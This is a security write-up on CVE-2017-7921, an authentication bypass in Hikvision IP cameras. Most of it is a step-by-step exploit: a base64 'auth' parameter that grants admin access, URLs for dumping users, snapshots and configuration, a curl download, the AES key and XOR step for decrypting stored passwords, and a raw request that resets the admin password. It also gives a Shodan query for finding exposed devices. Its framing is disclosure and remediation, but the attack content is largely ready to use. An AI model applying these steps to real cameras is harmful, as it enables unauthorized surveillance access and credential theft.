Overview
During a security assessment, multiple Hikvision cameras were found to remain vulnerable to CVE-2017-7921 several years after disclosure. This prompted a broader review of the vulnerability’s continued exposure and practical impact.
At the time of the original assessment, a Shodan query for "App-webs" "200 OK" returned approximately 160,000 potential targets. A sample-based review estimated that roughly 20% remained vulnerable.
Technical analysis
Many affected Hikvision IP cameras implement improper authorization logic that allows unauthenticated impersonation of a configured user account. The authentication-bypass behavior is straightforward to reproduce.
Research update: The original assessment was corrected following feedback from @gwillcox-r7. The behavior is implemented in Hikvision’s proprietary HikCGI protocol rather than through a hard-coded bypass string. The HikCGI handler exposes URI endpoints through the camera web interface and checks for an
authquery parameter. When that parameter contains a base64-encodedusername:passwordvalue, the API assumes the identity of the supplied user while ignoring the password. Supplying theadminusername through this mechanism grants administrative access, allowing an attacker to modify camera settings and retrieve sensitive information.
Any base64-encoded admin:password value can be used; the example below encodes admin:11.
# echo "admin:11" | base64
YWRtaW46MTEKAppending the crafted ?auth=YWRtaW46MTEK parameter to vulnerable GET or POST requests is sufficient to access the camera with administrative privileges.
Examples include:
- Retrieve a list of all users and their roles:
http://camera.ip/Security/users?auth=YWRtaW46MTEK - Obtain a camera snapshot without authentication:
http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK - Download the camera configuration:
http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK
Additional exposed functionality is documented in the HIKCGI Integration Guide and IP Media Device Management Protocol User Guide from Hikvision.
Two practical exploitation paths are demonstrated below: credential recovery and administrative password reset.
To recover stored credentials, first retrieve the configuration file from the vulnerable camera using the authentication-bypass parameter.
curl http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK --output configurationFileYou should get a file named configurationFile which holds all camera information including the user and password information in plain text.
The file is encrypted, so it must be decrypted before the stored credentials can be inspected.
The hikvision-xor-decrypter project by WormChickenWizard implements the required XOR-decoding step. The procedure below follows the same logic.
First decrypt configurationFile with the following command:
openssl enc -d -in configurationFile -out decryptedoutput -aes-128-ecb -K 279977f62f6cfd2d91cd75b889ce0c9a -nosalt -md md5After AES decryption, decryptedoutput remains XOR encoded.
Use the XOR-decoding tool to convert decryptedoutput into a readable plaintextOutput file that can be inspected with a hex editor.
java XORDecodeThe resulting plaintextOutput file can be inspected with a hex viewer or editor.
hexedit plaintextOutputThe decoded output exposes account data, including the default administrative credentials used after a factory reset.
00008358 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....................................
0000837C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....................................
000083A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....................................
000083C4 00 00 00 00 61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....admin...........................
000083E8 31 32 33 34 35 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12345...............................
0000840C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 ....................................
00008430 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....................................
00008454 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....................................
00008478 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....................................
--- plaintextOutput --0x801C/0xD8B30--4%---------------------------------------------------------------------------------------------------------------------Further inspection reveals configured user credentials. In this example, two accounts (admin and admln) are present.
000A7BD4 00 00 00 00 08 10 00 00 00 00 00 00 61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ............admin...................
000A7BF8 00 00 00 00 00 00 00 00 50 61 24 24 57 30 72 64 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 ........Pa$$W0rd....................
000A7C1C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 00 00 00 00 FF FF FF FF 00 00 00 00 ....................................
000A7C40 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 61 64 6D 6C 6E 00 00 00 00 00 00 00 ........................admln.......
000A7C64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 73 64 66 31 32 33 34 00 00 00 00 00 00 00 00 ....................asdf1234........
000A7C88 00 70 0D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 .p..................................
000A7CAC 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ....................................
--- plaintextOutput --0xA7850/0xD8B30--77%-------------------------------------------------------------------------------------------------------------------An alternative exploitation path is to reset the administrative password directly. The required request can be reproduced with an intercepting proxy such as Burp Suite.
Note: The new password must contain at least two uppercase characters, two lowercase characters and two special characters.
Burp request:
PUT /Security/users/1?auth=YWRtaW46MTEK HTTP/1.1
<?xml version="1.0" encoding="UTF-8"?>
<User version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema">
<id>1</id>
<userName>admin</userName>
<password>Pa$$W0rd</password>
</User>To remediate CVE-2017-7921, upgrade affected Hikvision devices to a fixed firmware release and verify that exposed devices are no longer running vulnerable firmware.